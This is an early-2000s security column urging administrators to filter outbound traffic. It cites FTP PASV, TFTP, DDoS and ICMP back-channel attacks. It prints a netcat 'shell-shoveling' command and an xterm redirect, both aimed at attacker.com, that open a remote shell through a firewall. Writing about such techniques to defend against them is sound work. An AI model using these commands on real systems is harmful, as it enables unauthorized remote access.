SAN MATEO (03/20/2000) - Most network administrators discuss their firewalls in terms of what kinds of inbound traffic they block from the wild and wooly Internet. Not many consider how threatening outbound traffic can be to a site's security.
Yes, that's right, traffic leaving your network. Why should you care about that? We hope by the end of this column you'll be willing to pay more attention to "inside-out" security, a phrase coined (as far as we know) by our colleagues Patrick Heim and Saumil Shah. They not long ago wrote a paper on this old topic, which has achieved new life due to recent events.
Running an anonymous FTP server behind a Check Point Software Technologies Ltd. firewall? So are lots of folks. How dangerous can inbound FTP be if everyone's doing it? Turn the telescope around and look at what John McDonald and Thomas Lopatic did with the outbound FTP traffic in a recent advisory posted to www.securiteam.com.
By carefully crafting a connection to the FTP server such that it responded with a "passive" (PASV) response to their client, they exploited Check Point's mishandling of the PASV back-channel to connect to any port on the FTP server.
Because firewalls often tightly restrict inbound protocols to a few well-known ports, exploiting back channels is the bread and butter of the penetration testing we perform against many clients. The trick is to use a protocol that is almost always allowed outbound from the victim's network.
The Microsoft Data Access Components vulnerability on Internet Information Server helped us knock over quite a few Web servers during the past year.
However, we couldn't have done it without the complicity of reverse connections to our attack systems; using TFTP (Trivial FTP) or FTP, we were able to upload the necessary hacking tool kit to the target. TFTP gets us thinking about the litany of UDP (User Datagram Protocol)-based services, such as SNMP, BackOrifice, and so on, that can slip by any misconfigured gateway.
And, of course, BackOrifice is no longer the most well-known tool to exploit inside-out insecurity; witness the recent DDoS (distributed denial of service) attacks. They use encrypted outbound UDP connections back to centralized control servers that dictate when and where flooding attacks will occur. DDoS attacks also reminded everyone about the classic inside-out defense mechanism: antispoofing filters on network ingress points.
Other techniques we've learned over the years include the use of "shell-shoveling" via port redirection to evade the grasp of firewall restrictions. Check out this netcat command run on a victim Windows NT/2000 machine:nc attacker.com 80 | cmd.exe | nc attacker.com 25If the attacker machine is listening with netcat on TCP 80 and 25, and TCP 80 is allowed inbound and 25 outbound to/from the victim through the firewall, then this command "shovels" a remote command shell from victim to attacker.com.
If Xterm (TCP 6000) is allowed outbound without restriction, then the following command would be a nifty Unix equivalent to the NT example:xterm -display attacker.com:0.0 &The near-complete ubiquity of HTTP on networks nowadays provides the perfect unwitting courier for malicious traffic. Just check out the latest Sambar Web server CGI vulnerabilities. This attack allows remote command execution. And how about ICMP (Internet Control Message Protocol, or ping)? Mike Schiffman's program loki presents a wealth of opportunities there.
Let's not leave out worms, viruses, and Trojan horses such as Melissa, WormExploreZip, and BubbleBoy, which exploit that all-important outbound conduit called e-mail.
You have to let out some basic services, so you're never going to be completely free of back-channel attacks. Authenticating outbound proxies is one way to deal with the problem. As Cult of the Dead Cow says: Show some control -- in this case, over your outbound network traffic. Send your outbound comments on inside-out security to email@example.com.
Stuart McClure is president and CTO and Joel Scambray is a managing principal at Rampart Security Group (www.ramsec.com).